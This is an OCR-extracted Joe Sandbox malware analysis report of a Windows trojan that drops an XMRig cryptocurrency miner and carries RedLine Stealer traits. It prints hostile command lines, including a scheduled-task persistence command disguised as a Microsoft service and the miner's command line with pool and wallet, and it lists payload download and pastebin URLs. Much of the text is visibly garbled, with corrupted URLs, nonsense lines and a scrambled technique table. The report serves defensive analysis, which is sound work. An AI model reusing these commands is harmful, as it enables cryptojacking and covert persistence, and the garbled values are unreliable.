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Analysis Report Securitelnfo.com.Trojan.GenericKD.457...

Overview
General Information Detection Signatures Classification
Sample Securitelnfo.com.Trojan.G
Name: enericKD.45754886.17334. MALICIOUS Antivirus detection for URL or domain
7781 d fil .
extensiz:i:); 7';;1 o Detected unpacking (changes PE se...
exe) Found malware configuration
Analysis ID: 356837 " X
Multi AV Scanner detection for dropp...
MDs: bc584a3be92cfdf..
. Multi AV Scanner detection for subm...
SHAL: 6f7d11b7c795bd1.
. Sigma detected: Xmri
SHA256: 8086d2b05316a9..
Infos: Il RO TS Yara detected RedLine Stealer:
HTTP
L Yara detected Xmrig cryptocurrency...
Score: 100 Connects to a pastebin service (like...
B Range: 0-100 Detected Stratum mining protocol
a Whitelisted: false
) Found strings related to Crypto-Minin...
Confidence: 100%
P

D WD

VLR LR RO
s ]

= System is w10x64
. Securitelnfo.com.Trojan.GenericKD.45754886.17334.exe (PID: 2100 cmdline: 'C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.45754886.17334.exe' MD5:
BC584A3BE92CFDFDA79446372FFFA46D)
e B pg2bsuqga.exe (PID: 6124 cmdline: 'C:\Users\user\AppData\Local\pg2bsuga.exe' MD5: 70DCA411445D3B4394D9C467BF3FF994)
e B zmql3v0y.exe (PID: 4012 cmdline: 'C:\Users\usen\AppData\Local\zmql3v0y.exe' MD5: FOECEFED65B00699CC2B57BF81492F56)
e (B schtasks.exe (PID: 6484 cmdline: 'C:\Windows\System32\schtasks.exe' /create /sc MINUTE /mo 1 /tn 'Windows Service Microsoft Corporation' /tr 'C:\Users\usen\AppDat
a\Roaming\Windows\RantimeBroker.exe' /f MD5: 15FF7D8324231381BAD48A052F85DF04)
o W conhostexe (PID: 6492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
. 0 cpu.exe (PID: 6624 cmdline: 'C:\Users\user\AppData\Roaming\Windows\CPU\cpu.exe' -0 stratum-+tcp://pool.minexmr.com:4444 --algo cn/r -u 42ZYH6myZTcdLq

fmCpSCggN8ppdkudPK16kH8UFFyTesddFwT5ihd2QFsWS2BGnuwXWinrtbJbrsw7dgqgeBRZDJcUzia53)./ --donate-level=1 MD5: E95F766A3748042EFBFOF05D823F82B7)
conhost.exe (PID: 6664 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e (B RantimeBroker.exe (PID: 6552 cmdline: C:\Users\user\AppData\Roaming\Windows\RantimeBroker.exe MD5: FOECEFED65B00699CC2B57BF81492F56)
e (B RantimeBroker.exe (PID: 1632 cmdline: C:\Users\user\AppData\Roaming\Windows\RantimeBroker.exe MD5: FOECEFED65B00699CC2B57BF81492F56)
= cleanup

Malware Configuration

Threatname: Xmrig

"WALLET": "42ZYH6myZTcdLqfmCpSCggN8ppdkudPK16kH8UFFyTesddFwT51hd2QF sWS2BGnuwXWfnrtbJIbrsw7dqgeBRZDIcUzia537",
"POOL": "pool.minexmr"

Yara Overview

Dropped Files

Source Rule Description Author Strings
C:\Users\user\AppData\Roaming\Windows\CPU\config.json JoeSecurity_Xmrig  Yara detected Joe Security

Xmrig

cryptocurrency

miner
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Memory Dumps

Source Rule

00000010.00000002.547615511.0000020FCC320000.00000 CoinMiner_Strings
004.00000020.sdmp

00000010.00000002.547615511.0000020FCC320000.00000 JoeSecurity_Xmrig
004.00000020.sdmp

00000010.00000002.547631429.0000020FCC328000.00000 CoinMiner_Strings
004.00000020.sdmp

00000010.00000002.547631429.0000020FCC328000.00000 JoeSecurity_Xmrig
004.00000020.sdmp

00000004.00000003.274701180.00000000008A0000.00000 JoeSecurity_RedLine
004.00000001.sdmp

Description Author Strings

Detects mining Florian Roth
pool protocol string

in Executable

e 0x35a9:$sl: stratum+tcp:/

Yara detected
Xmrig
cryptocurrency
miner

Joe Security

Detects mining Florian Roth
pool protocol string

in Executable

0x5250:$s1: stratum+tcp:/
0x52e0:$s1: stratum+tcp:/
0x847f:$s1: stratum-+tcp://
0xa523:$s1: stratum+tcp:/

e o o o

Yara detected
Xmrig
cryptocurrency
miner

Joe Security

Yara detected
RedLine Stealer

Joe Security

Click to see the 14 entries

Unpacked PEs

Source Rule

6.2.zmql3v0y.exe.b30000.0.unpack JoeSecurity_Xmrig

15.2.RantimeBroker.exe.d80000.0.unpack JoeSecurity_Xmrig

Sigma Overview

System Summary:

Description Author Strings

Yara detected
Xmrig
cryptocurrency
miner

Joe Security

Yara detected
Xmrig
cryptocurrency
miner

Joe Security

Sigma detected: Xmrig

Signature Overview

AV Detection:

Click to jump to signature section

Found malware configuration

@ AV Detection

@ Bitcoin Miner

@ Compliance

@ Networking

@ System Summary

@ Data Obfuscation

@ Persistence and Installation Behavior

@ Boot Survival

® Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion
@ Language, Device and Operating System Detection
@ Stealing of Sensitive Information

@ Remote Access Functionality

Antivirus detection for URL or domain

Copyright null 2021
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Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

]

Bitcoin Miner:

Yara detected Xmrig cryptocurrency miner

t

Compliance:

Uses secure TLS version for HTTPS connections

Binary contains paths to debug symbols

=

Networking:

System Summary:

‘]

=

Data Obfuscation:

Detected unpacking (changes PE section rights)

Persistence and Installation Behavior:

‘]

Boot Survival:

I‘]

Malware Analysis System Evasion:

Anti Debugging:

]

= “

Stealing of Sensitive Information:

Yara detected RedLine Stealer

0
)
«Q
[
o)
[e]
=
s
[}
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Remote Access Functionality: -i.
Yara detected RedLine Stealer

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Network
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effects
Valid Windows Windows Windows Masquerading oS Query Registry Remote Archive Exfiltration Web Eavesdro
Accounts Management Service Service Credential Services Collected  Over Other Service Insecure
Instrumentation Dumping Data Network Network
Medium Communi
Default Scheduled Scheduled  Process Virtualization/Sandbox LSASS Security Software Remote Data from  Exfiltration Encrypted Exploit S¢
Accounts Task/Job Task/Job Injection Evasion Memory  Discovery Desktop Removable Over Channel Redirect |
Protocol Media Bluetooth Calls/SM!
Domain At (Linux) Logon Script Scheduled Disable or Modify Security Virtualization/Sandbox SMB/Windows Data from Automated Non-Standard Exploit S¢
Accounts (Windows)  Task/Job Tools Account  Evasion Admin Shares Network  Exfiltration  Port Track De'
Manager Shared Location
Drive
Local At (Windows) Logon Script Logon Script  Process NTDS Process Discovery Distributed Input Scheduled Ingress Tool  SIM Card
Accounts (Mac) (Mac) Injection Component Capture Transfer Transfer Swap
Object Model
Cloud Cron Network Network Obfuscated Files or LSA Remote System SSH Keylogging Data Non- Manipulai
Accounts Logon Script Logon Script  Information Secrets Discovery Transfer Application Device
Size Limits Layer Communi
Protocol
Replication Launchd Rc.common Rc.common  Software Cached System Network VNC GUI Input  Exfiltration  Application Jamming
Through Packing Domain Configuration Capture Over C2 Layer Denial of
Removable Credentials Discovery Channel Protocol Service
Media
External Scheduled Task  Startup Startup Items  Timestomp DCSync File and Directory Windows Web Portal Exfiltration = Commonly Rogue W
Remote Items Discovery Remote Capture Over Used Port Access P
Services Management Alternative
Protocol
Drive-by Command and Scheduled  Scheduled Indicator Removal Proc System Information Shared Credential Exfiltration Application Downgrar
Compromise Scripting Task/Job Task/Job from Tools Filesystem Discovery Webroot API| Over Layer Protocol Insecure
Interpreter Hooking Symmetric Protocols
Encrypted
Non-C2
Protocol

Behavior Graph
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source
Securitelnfo.com.Trojan.GenericKD.45754886.17334.exe
Securitelnfo.com.Trojan.GenericKD.45754886.17334.exe

Dropped Files

Source

C:\Users\user\AppData\Local\pg2bsuga.exe
C:\Users\user\AppData\Local\pg2bsuga.exe
C:\Users\user\AppData\Local\pg2bsuga.exe
C:\Users\user\AppData\Local\zmql3v0y.exe
C:\Users\user\AppData\Roaming\Windows\CPU\WinRing0x64.sys
C:\Users\user\AppData\Roaming\Windows\CPU\WinRing0x64.sys
C:\Users\user\AppData\Roaming\Windows\CPU\cpu.exe
C:\Users\user\AppData\Roaming\Windows\CPU\cpu.exe

C:\Users\user\AppData\Roaming\Windows\RantimeBroker.exe

Unpacked PE Files

Source

4.0.pg2bsuga.exe.ef0000.0.unpack

4.1.pg2bsuga.exe.ef0000.0.unpack
Copyright null 2021

Detection
22%
29%

Detection

100%

24%

66%

61%

0%

0%

16%

66%

61%
Detection Scanner
100% Avira
100% Avira

Scanner

Metadefender

ReversingLabs

Scanner

Joe Sandbox ML
Metadefender
ReversingLabs

ReversingLabs

Waord 2016

Label

Label Link

Browse

Link

Browse

Win32.Trojan.AgentTesla

Win32.Packed.Themida

Metadefender Browse
ReversingLabs
Metadefender Browse
ReversingLabs Win64.Trojan.Miner
ReversingLabs Win32.Packed.Themida
Label Link Download
TR/Crypt.XPACK.Gen Download File
TR/Crypt.XPACK.Gen Download File
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https://www.metadefender.com/#!/results/file/bzIxMDIyMVhPSS1MdUU5bHFOX2FULW04YTk/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMDIyMTlqc1lHYlE4TVJSa2IxZ0d4OTI/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ESXlNMHRXV1RKbVRDMWpNQTdnMUFzcFE2Qw/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMDIyMkttNmhGME12NlZmY3h3aTJCendp/regular/analysis

Domains

No Antivirus matches

URLs
Source Detection Scanner Label Link
hitp://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0# 0% URL Reputation safe
hitp://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0# 0% URL Reputation safe
hitp://crt.sectigo.com/SectigpRSADomainValidationSecureServerCA.crt0# 0% URL Reputation safe
hitp://https://sectigo.com/CPS0O 0% URL Reputation safe
hitp://https://sectigo.com/CPS0O 0% URL Reputation safe
hitp://https://sectigo.com/CPS0O 0% URL Reputation safe
hitp://ocsp.sectigo.com0 0% URL Reputation safe
hitp://ocsp.sectigo.com0 0% URL Reputation safe
hitp://ocsp.sectigo.com0 0% URL Reputation safe
hitp://195.2.84.91/cpu.zip 0% Avira URL Cloud safe
hitp:/focsp.thawte.com0 0% URL Reputation safe
hitp:/focsp.thawte.com0 0% URL Reputation safe
hitp:/focsp.thawte.com0 0% URL Reputation safe
o NseaecROcmdeese om0 AwmURCed maee
hitp://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t 0% URL Reputation safe
hitp://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t 0% URL Reputation safe
hitp://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t 0% URL Reputation safe
hitp://https://blog.agencialOx.com/dance.exed 0% Avira URL Cloud safe
hitp://https://pastebin.comD8 0% Avira URL Cloud safe
hitp://195.2.84.91/amd.zip 0% Avira URL Cloud safe
hitp:/focsp.com 0% Avira URL Cloud safe
hitp://https://blog.agencialOx.com4 0% Avira URL Cloud safe
hitp://crt.sectigo.com/SectigoRSATimeStampingCA.crt0# 0% URL Reputation safe
hitp://crt.sectigo.com/SectigoRSATimeStampingCA.crt0# 0% URL Reputation safe
hitp://crt.sectigo.com/SectigoRSATimeStampingCA.crt0# 0% URL Reputation safe
hitp://https://sectigo.com/CPS0D 0% URL Reputation safe
hitp://https://sectigo.com/CPS0D 0% URL Reputation safe
hitp://https://sectigo.com/CPS0D 0% URL Reputation safe
NSO G AR maee
hitp://https://pastebin.com4 0% URL Reputation safe
hitp://https://pastebin.com4 0% URL Reputation safe
hitp://https://pastebin.com4 0% URL Reputation safe
hitp://195.2.84.91/nvidia.zip 0% Avira URL Cloud safe
hitp://https://blog.agencialOx.comD8 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
ianawhois.vip.icann.org 192.0.47.59 true false high
blog.agencialOx.com 172.67.213.210 true false unknown
iplogger.org 88.99.66.31 true false high
WHOIS.RIPE.NET 193.0.6.135 true false high
pool.minexmr.com 88.99.193.240 true false high
pastebin.com 104.23.99.190 true false high
e e e
whois.iana.org unknown unknown false high

Contacted URLs

Name Malicious Antivirus Detection Reputation

hitp://195.2.84.91/cpu.zip false e Avira URL Cloud: safe unknown

URLs from Memory and Binaries
Copyright null 2021 Page 10 of 46



Name Source Malicious Antivirus Detection Reputation

hitp:// Securitelnfo.com.Trojan.Generi false e URL Reputation: safe unknown

crt.sectigo.com/SectigpRSADomainValidationSecureServerCA cKD.45754886.17334.exe, 000000 e URL Reputation: safe

.crto# 00.00000002.281148761.00000000 e URL Reputation: safe
01165000.00000004.00000020.sdmp

hitp://https://sectigo.com/CPS0O Securitelnfo.com.Trojan.Generi false e URL Reputation: safe unknown
cKD.45754886.17334.exe, 000000 e URL Reputation: safe
00.00000002.281148761.00000000 e URL Reputation: safe

01165000.00000004.00000020.sdmp

hitp://https://iplogger.org/1r2et7 Securitelnfo.com.Trojan.Generi false high
cKD.45754886.17334.exe, 000000
00.00000002.278531237.00000000
002E2000.00000020.00020000.sdmp,
SecuriteInfo.com.Trojan.GenericKD.457
54886.17334.exe, 00000000.0000
0002.283685326.000000000328100
0.00000004.00000001.sdmp

hitp://ocsp.sectigo.com0 Securitelnfo.com.Trojan.Generi false e URL Reputation: safe unknown
cKD.45754886.17334.exe, 000000 e URL Reputation: safe
00.00000002.281148761.00000000 e URL Reputation: safe
01165000.00000004.00000020.sdmp,
pg2bsuqa.exe.0.dr

hitp:/focsp.thawte.com0 Securitelnfo.com.Trojan.Generi false e URL Reputation: safe unknown
cKD.45754886.17334.exe e URL Reputation: safe

e URL Reputation: safe

hitp:// Securitelnfo.com.Trojan.Generi false high

https://pastebin.com/raw/bnxCb5RPChttps://pastebin.com/raw cKD.45754886.17334.exe, 000000

/WmMBNYXYN 00.00000002.278531237.00000000

002E2000.00000020.00020000.sdmp

hitp://https://pastebin.com/raw/WmBNYXYN Securitelnfo.com.Trojan.Generi false high
cKD.45754886.17334.exe, 000000
00.00000002.283685326.00000000
03281000.00000004.00000001.sdmp

hitp://https://iplogger.org Securitelnfo.com.Trojan.Generi false high
cKD.45754886.17334.exe, 000000
00.00000002.283685326.00000000
03281000.00000004.00000001.sdmp

hitp://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t pg2bsuqa.exe.0.dr false e URL Reputation: safe unknown
e URL Reputation: safe
e URL Reputation: safe

Avira URL Cloud: safe unknown

hitp://https://pastebin.comD8 Securitelnfo.com.Trojan.Generi false
cKD.45754886.17334.exe, 000000
00.00000002.283866896.00000000
0331A000.00000004.00000001.sdmp

Avira URL Cloud: safe unknown

hitp://195.2.84.91/amd.zip zmgql3v0y.exe, zmql3v0y.exe, 00 false
000006.00000002.520808342.0000
000000B32000.00000020.00020000
.sdmp, RantimeBroker.exe, Rant
imeBroker.exe, 0000000F.000000
02.319692642.0000000000D82000.
00000020.00020000.sdmp

hitp://crl.thawte.com/ThawteTimestampingCA.crl0 Securitelnfo.com.Trojan.Generi false high
cKD.45754886.17334.exe

Avira URL Cloud: safe unknown

hitp:/focsp.com Securitelnfo.com.Trojan.Generi false
cKD.45754886.17334.exe, 000000
00.00000002.281148761.00000000
01165000.00000004.00000020.sdmp

Avira URL Cloud: safe unknown

hitp://https://blog.agencialOx.com4 Securitelnfo.com.Trojan.Generi false
cKD.45754886.17334.exe, 000000
00.00000002.283866896.00000000
0331A000.00000004.00000001.sdmp

hitp://crt.sectigo.com/SectigoRSATimeStampingCA.crt0# pg2bsuga.exe.0.dr false e URL Reputation: safe unknown
e URL Reputation: safe
e URL Reputation: safe

hitp://https://sectigo.com/CPS0D pg2bsuqa.exe.0.dr false e URL Reputation: safe unknown
e URL Reputation: safe
e URL Reputation: safe

- ---
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Name

hitp://https://pastebin.com4

hitp://https://pastebin.com/raw/bnxCb5RP

hitp://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

hitp://195.2.84.91/nvidia.zip

hitp://https://iplogger.org/1tsef7

hitp://https://blog.agencialOx.comD8

Contacted IPs

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs

Source

Securitelnfo.com.Trojan.Generi
cKD.45754886.17334.exe, 000000
00.00000002.283839555.00000000
032C8000.00000004.00000001.sdmp

Securitelnfo.com.Trojan.Generi
cKD.45754886.17334.exe, 000000
00.00000002.283685326.00000000
03281000.00000004.00000001.sdmp

Securitelnfo.com.Trojan.Generi
cKD.45754886.17334.exe, 000000
00.00000002.283685326.00000000
03281000.00000004.00000001.sdmp

zmql3v0y.exe, zmql3vOy.exe, 00
000006.00000002.520808342.0000
000000B32000.00000020.00020000
.sdmp, RantimeBroker.exe, Rant
imeBroker.exe, 0000000F.000000
02.319692642.0000000000D82000.
00000020.00020000.sdmp

zmql3v0y.exe, zmql3vOy.exe, 00
000006.00000002.520808342.0000
000000B32000.00000020.00020000
.sdmp, RantimeBroker.exe, Rant
imeBroker.exe, 0000000F.000000
02.319692642.0000000000D82000.
00000020.00020000.sdmp

Securitelnfo.com.Trojan.Generi
cKD.45754886.17334.exe, 000000
00.00000002.283892138.00000000
03346000.00000004.00000001.sdmp

Public

P Domain
104.23.99.190 unknown
88.99.66.31 unknown
195.2.84.91 unknown
172.67.213.210 unknown
88.99.193.240 unknown

Copyright null 2021

Country Flag
United States =
Germany =
Russian Federation -

United States

0 I

Germany

Malicious

false

false

false

false

false

false

ASN

13335
24940
6903

13335
24940

Antivirus Detection Reputation
e URL Reputation: safe unknown
e URL Reputation: safe
e URL Reputation: safe
high
high
e Avira URL Cloud: safe unknown
high
e Avira URL Cloud: safe unknown
ASN Name Malicious
CLOUDFLARENETUS false
HETZNER-ASDE false
ZENON- false
ASMoscowRussiaRU
CLOUDFLARENETUS false
HETZNER-ASDE false
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General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:
HDC Information:
HCA Information:

Cookbook Comments:

Copyright null 2021

31.0.0 Emerald
356837
23.02.2021
17:36:27
CloudBasic

Oh 11m 3s
false

light

Securitelnfo.com.Trojan.GenericKD.45754886.17334.7
781 (renamed file extension from 7781 to exe)

default.jbs

Windows 10 64 bit v1803 with Office Professional Plus
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8
Update 211

23
0
0
0
0

HCA enabled
EGA enabled
HDC enabled
AMSI enabled

L]
L]
L]
L]

default

Timeout

MAL

mal100.troj.evad.mine.winEXE@13/9@9/5

Failed

Failed

Failed

e Adjust boot time
e Enable AMSI
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Warnings:

Simulations

Behavior and APIs

Time Type

17:37:40 API Interceptor
17:37:52 Task Scheduler

Joe Sandbox View | Context

IPs

Copyright null 2021

Show All
e Exclude process from analysis (whitelisted):

taskhostw.exe, MpCmdRun.exe,
BackgroundTransferHost.exe,
backgroundTaskHost.exe, SgrmBroker.exe,
conhost.exe, svchost.exe

TCP Packets have been reduced to 100

Excluded IPs from analysis (whitelisted):
104.42.151.234, 23.218.209.198, 40.88.32.150,
104.43.139.144, 23.211.6.115, 23.218.208.56,
51.104.139.180, 67.26.83.254, 67.26.75.254,
8.253.204.249, 67.26.73.254, 8.248.139.254,
51.103.5.159, 84.53.167.113, 104.26.13.31,
172.67.75.172, 104.26.12.31

Excluded domains from analysis (whitelisted):
storeedgefd.dsx.mp.microsoft.com.edgekey.net.glo
balredir.akadns.net, arc.msn.com.nsatc.net, store-
images.s-microsoft.com-c.edgekey.net, fs-
wildcard.microsoft.com.edgekey.net, fs-
wildcard.microsoft.com.edgekey.net.globalredir.aka
dns.net, e15275.g.akamaiedge.net,
storeedgefd.xbetservices.akadns.net, arc.msn.com,
vip1l-par02p.wns.notify.trafficmanager.net,
skypedataprdcoleus15.cloudapp.net,
e12564.dspb.akamaiedge.net,
wns.notify.trafficmanager.net,
wildcard.weather.microsoft.com.edgekey.net,
audownload.windowsupdate.nsatc.net,
watson.telemetry.microsoft.com,
auto.au.download.windowsupdate.com.c.footprint.n
et, prod.fs.microsoft.com.akadns.net, au-bg-
shim.trafficmanager.net,
storeedgefd.dsx.mp.microsoft.com,
client.wns.windows.com,
api.ip.sb.cdn.cloudflare.net, fs.microsoft.com, tile-
service.weather.microsoft.com,
e1723.g.akamaiedge.net,
ctldl.windowsupdate.com,
skypedataprdcolcus16.cloudapp.net,
storeedgefd.dsx.mp.microsoft.com.edgekey.net,
store-images.s-microsoft.com,
blobcollector.events.data.trafficmanager.net,
e16646.dscg.akamaiedge.net,
skypedataprdcolwus16.cloudapp.net

Report size exceeded maximum capacity and may
have missing behavior information.

Report size exceeded maximum capacity and may
have missing network information.

Report size getting too big, too many
NtAllocateVirtualMemory calls found.

Report size getting too big, too many
NtOpenKeyEx calls found.

Report size getting too big, too many
NtProtectVirtualMemory calls found.

Report size getting too big, too many
NtQueryValueKey calls found.

VT rate limit hit for:
/opt/package/joesandbox/database/analysis/35683
7/sample/Securitelnfo.com.Trojan.GenerickD.4575
4886.17334.exe

1x Sleep call for process: Securitelnfo.com.Trojan.GenericKD.45754886.17334.exe modified

Run new task: Windows Service Microsoft Corporation path: C:\Users\user\AppData\Roaming\Windows\Ran
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Match
104.23.99.190

Domains

Match

ianawhois.vip.icann.org

Copyright null 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

pastebin.
com/raw/BC
AJ8TgJ

pastebin.
com/raw/BC
AJ8TgJ

pastebin.
com/raw/XM
KKNkbO

pastebin.
com/raw/XM
KKNkbO

pastebin.
com/raw/XM
KKNkbO

pastebin.
com/raw/XM
KKNkbO

pastebin.
com/raw/XM
KKNkbO

pastebin.
com/raw/XM
KKNkbO

pastebin.
com/raw/XM
KKNkbO

pastebin.
com/raw/XM
KKNkbO

pastebin.
com/raw/XM
KKNkbO

pastebin.
com/raw/XM
KKNkbO

pastebin.
com/raw/XM
KKNkbO

pastebin.
com/raw/XM
KKNkbO

pastebin.
com/raw/XM
KKNkbO

pastebin.
com/raw/XM
KKNkbO

pastebin.
com/raw/XM
KKNkbO

pastebin.
com/raw/XM
KKNkbO

pastebin.
com/raw/XM
KKNkbO

pastebin.
com/raw/XM
KKNkbO

Context

192.0.47.59
192.0.47.59
192.0.47.59
192.0.47.59
192.0.47.59
192.0.47.59
192.0.47.59
192.0.47.59
192.0.47.59
192.0.47.59
192.0.47.59
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https://view.joesandbox.com/analysis/261985/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/261985/html/none?idtype=webid
https://view.joesandbox.com/analysis/261543/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/261543/html/none?idtype=webid
https://view.joesandbox.com/analysis/236403/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236403/html/none?idtype=webid
https://view.joesandbox.com/analysis/236087/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236087/html/none?idtype=webid
https://view.joesandbox.com/analysis/235817/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235817/html/none?idtype=webid
https://view.joesandbox.com/analysis/235774/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235774/html/none?idtype=webid
https://view.joesandbox.com/analysis/235759/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235759/html/none?idtype=webid
https://view.joesandbox.com/analysis/235730/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235730/html/none?idtype=webid
https://view.joesandbox.com/analysis/235682/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235682/html/none?idtype=webid
https://view.joesandbox.com/analysis/235659/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235659/html/none?idtype=webid
https://view.joesandbox.com/analysis/235622/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235622/html/none?idtype=webid
https://view.joesandbox.com/analysis/235565/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235565/html/none?idtype=webid
https://view.joesandbox.com/analysis/235563/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235563/html/none?idtype=webid
https://view.joesandbox.com/analysis/235433/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235433/html/none?idtype=webid
https://view.joesandbox.com/analysis/235420/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235420/html/none?idtype=webid
https://view.joesandbox.com/analysis/235340/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235340/html/none?idtype=webid
https://view.joesandbox.com/analysis/235268/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235268/html/none?idtype=webid
https://view.joesandbox.com/analysis/235199/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235199/html/none?idtype=webid
https://view.joesandbox.com/analysis/235193/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235193/html/none?idtype=webid
https://view.joesandbox.com/analysis/235184/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235184/html/none?idtype=webid
https://view.joesandbox.com/analysis/267453/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267453/html/none?idtype=webid
https://view.joesandbox.com/analysis/267343/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267343/html/none?idtype=webid
https://view.joesandbox.com/analysis/267248/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267248/html/none?idtype=webid
https://view.joesandbox.com/analysis/267216/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267216/html/none?idtype=webid
https://view.joesandbox.com/analysis/267209/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267209/html/none?idtype=webid
https://view.joesandbox.com/analysis/267184/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267184/html/none?idtype=webid
https://view.joesandbox.com/analysis/266878/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266878/html/none?idtype=webid
https://view.joesandbox.com/analysis/266874/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266874/html/none?idtype=webid
https://view.joesandbox.com/analysis/266873/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266873/html/none?idtype=webid
https://view.joesandbox.com/analysis/266868/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266868/html/none?idtype=webid
https://view.joesandbox.com/analysis/266708/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266708/html/none?idtype=webid

Match

iplogger.org

blog.agencialOx.com

ASN

Match
ZENON-ASMoscowRussiaRU

HETZNER-ASDE

Copyright null 2021

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash

> >
/] /]
173 173
o o
2, 2,
2 2
@ @
o o
7] 7]
o o
3 3
j= j=
o ]
2 2
o &
3 3
® ®
c c
A A
[l [l

Get hash

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse

Browse

Context

192.0.47.59
192.0.47.59
192.0.47.59
192.0.47.59
192.0.47.59
192.0.47.59
192.0.47.59
192.0.47.59
192.0.47.59
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
104.21.67.51
172.67.213.210
172.67.213.210
104.21.67.51

Context

